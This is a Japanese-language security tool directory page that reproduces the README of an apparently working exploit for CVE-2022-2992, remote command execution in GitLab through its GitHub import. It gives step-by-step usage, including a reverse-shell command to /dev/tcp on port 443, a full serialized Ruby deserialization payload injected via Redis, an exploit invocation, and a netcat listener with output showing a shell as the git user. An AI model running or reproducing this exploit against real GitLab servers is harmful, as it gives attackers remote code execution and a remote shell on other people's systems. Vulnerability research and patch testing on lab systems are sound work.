Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-2992 — GitHubインポートを介したGitLabでの認証済みリモートコマンド実行。 | Kitploit
ツール/GitHubGitHub/malwareman007/cve-2022-2992
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubmalwareman007/cve-2022-2992

CVE-2022-2992

GitHubインポートを介したGitLabでの認証済みリモートコマンド実行。

リポジトリを見る
813年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-2992

GitlabでのGitHubインポートを介した認証済みリモートコマンド実行

GitLab CE/EEの全バージョン(11.10から15.1.6未満、15.2から15.2.4未満、15.3から15.3.2未満)に影響する脆弱性により、認証されたユーザーがGitHubインポートAPIエンドポイントを介してリモートコードを実行できます。

https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#remote-command-execution-via-github-import

前提条件

  • Ngrok
  • Ruby
  • Redis
  • Python3
  • Flask
root@kitploit:~
sudo apt install ruby python3 python3-pip
gem install redis 
pip install flask

手順

  1. ./ngrok http 5000 を実行し、URLを保存します。
  2. シリアル化されたペイロードを生成するには、payload_gen.rb を実行してペイロードを保存します。以下は例です:
root@kitploit:~
ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'
  1. server.py でNGROK_URLとPAYLOADの変数を適宜更新します。以下は例です:
root@kitploit:~
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'
  1. GitLab上でユーザーのアクセストークンを作成し、すべてのスコープを選択します。ドキュメントはこちらをお読みください。
  2. 最後にexploit.pyを実行します。

注意: 実行前にngrokとflaskサーバーが起動していることを確認してください。

root@kitploit:~
python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example
  • ポート443にシェルが返ってきます
root@kitploit:~
➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)

各ウィンドウでの期待される出力:

  • Ngrok
root@kitploit:~
POST /vakzz/public.git/git-upload-pack 200 OK
GET  /vakzz/public.git/info/refs       200 OK
GET  /api/v3/repos/fake/name           200 OK
GET  /api/v3/repositories/12345        200 OK
GET  /api/v3/rate_limit                200 OK
GET  /api/v3/rate_limit                200 OK
  • Exploit
root@kitploit:~
[1] Creating Group
[+] Successfully created group: qogjohpykk
[2] Running flask server
[3] Importing Github Repo
 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] Triggering Payload
[+] Command was executed

環境

  • GitLab 15.3.1 Enterprise Editionでテスト済み
  • テスト用の独自環境を構築するには、dataディレクトリをLinux VMの/にコピーします。
  • build.shを実行して環境をセットアップします。

クレジット

  • https://hackerone.com/reports/1679624 (vakzz)
  • https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
ツールをダウンロード